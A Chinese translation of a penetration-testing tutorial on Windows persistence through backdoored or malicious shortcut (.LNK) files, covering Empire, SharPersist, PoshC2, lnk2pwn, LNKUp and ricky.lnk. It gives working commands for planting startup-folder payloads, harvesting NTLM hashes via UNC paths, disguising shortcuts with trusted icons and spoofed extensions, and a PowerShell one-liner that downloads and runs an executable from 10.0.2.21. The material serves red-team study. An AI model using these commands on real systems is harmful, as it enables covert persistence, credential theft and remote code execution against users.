Window權限維持(四):快捷方式修改


Windows快捷方式包含對系統上安裝的軟件或文件位置(網絡或本地)的引用。自從惡意軟件出現之初,便已將快捷方式用作執行惡意代碼以實現持久性的一種方法。快捷方式的文件擴展名是.LNK,它為紅隊提供了很多機會來執行各種格式的代碼(exe,vbs,Powershell,scriptlet等)或竊取NTLM哈希值。更隱蔽的方法是修改現有合法快捷方式的屬性,但是生成具有不同特征的快捷方式可以為代碼執行提供靈活性。

Empire

Empire包含一個持久性模塊,該模塊可以后門合法的快捷方式(.LNK),以執行任意的PowerShell有效負載。現有快捷方式的目標字段將被修改以執行存儲在注冊表項中的base64腳本。

usemodule persistence/userland/backdoor_lnk

 Empire–后門現有快捷方式

查看快捷方式的屬性將顯示目標字段已成功修改以執行PowerShell有效負載。

Empire-修改后的快捷方式

由於快捷方式存在於啟動文件夾中,因此暫存器將在下一次Windows登錄中執行,並且將與命令和控制服務器建立連接。

 Empire-通過快捷方式成功上線

但是,Empire包含一個可用於生成具有LNK文件格式的暫存器的模塊。

usestager windows/launcher_lnk
set Listener http
execute

 Empire-創建快捷方式

默認情況下,此模塊將使用寫字板圖標偽裝成可信任的應用程序。


 Empire-寫字板快捷方式

快捷方式的目標字段將使用執行Base64有效負載的PowerShell命令填充。可以將快捷方式轉移並移動到啟動文件夾中以保持持久性。

Empire-快捷屬性

SharPersist

SharPersist能夠創建Internet Explorer快捷方式,該快捷方式將執行任意有效負載並將其放置在啟動文件夾中以實現持久性。

SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\temp\pentestlab.exe" -f "pentestlab" -m add

 SharPersist –快捷方式

當用戶進行身份驗證時,將執行有效負載,並打開Meterpreter會話.

 SharPersist – Meterpreter

PoshC2

PoshC2可以創建一個LNK文件並將其直接放置在Windows啟動文件夾中以保持持久性。可以通過執行以下命令來調用此技術:

install-persistence 3

 PoshC2 –啟動LNK文件

在Windows登錄期間,快捷方式將嘗試在注冊表項上執行值,該注冊表項包含base64格式的stager。


​ PoshC2 –快捷方式

雜項

在常見的紅色團隊工具包之外,還有多個腳本可用於開發惡意快捷方式。將這些快捷方式放置在啟動文件夾中以保持持久性將是一個微不足道的過程,因為假定已經存在與命令和控制服務器的通信。
lnk2pwn是用Java編寫的工具,可用於制作惡意快捷方式。可以通過命令控制台在生成快捷方式期間嵌入任意命令。

java -jar lnk2pwn.jar


 lnk2pwn – GUI

默認情況下,lnk2pwn將生成偽造的記事本快捷方式,但是可以輕松更改圖標。


lnk2pwn –假記事本快捷方式

使用LNKUp python腳本可以實現類似的結果,該腳本可以生成可以執行任意命令或竊取目標用戶的NTLM哈希的快捷方式。

python generate.py --host 10.0.2.21 --type ntlm --output out.lnk


 LNKUp – NTLM哈希快捷方式

由於生成的LNK文件將包含UNC路徑,因此需要使用響應器,或者具有捕獲NTLM哈希值的Metasploit模塊。

use auxiliary/server/capture/smb

 LNKUp – NTLM捕獲

密碼哈希可以用於脫機破解或NTLM中繼攻擊,以便訪問其他系統或用戶的電子郵件。LNKUp還具有生成將執行任意命令的快捷方式的功能。

python generate.py --host 10.0.2.21 --type ntlm --output pentestlab.lnk --execute "cmd.exe /c C:\temp\pentestlab.exe"

 LNKUp –執行命令

xillwillx開發了一個名為ricky.lnk的PowerShell腳本,該腳本可以創建一個以.unik字符欺騙的.LNK文件,該字符反轉.lnk擴展名並在文件末尾附加.txt。生成的擴展名將包含一個PowerShell命令,該命令將從遠程服務器下載文件並直接在系統上執行。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://10.0.2.21/pentestlab.exe','pentestlab.exe');./pentestlab.exe;

 Tricky2 – PowerShell

或者,該項目包含一個VBS腳本,該腳本可以執行與PowerShell版本相同的操作。

 Tricky – VBS腳本

 

譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。

原文地址:https://pentestlab.blog/2019/10/08/persistence-shortcut-modification/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM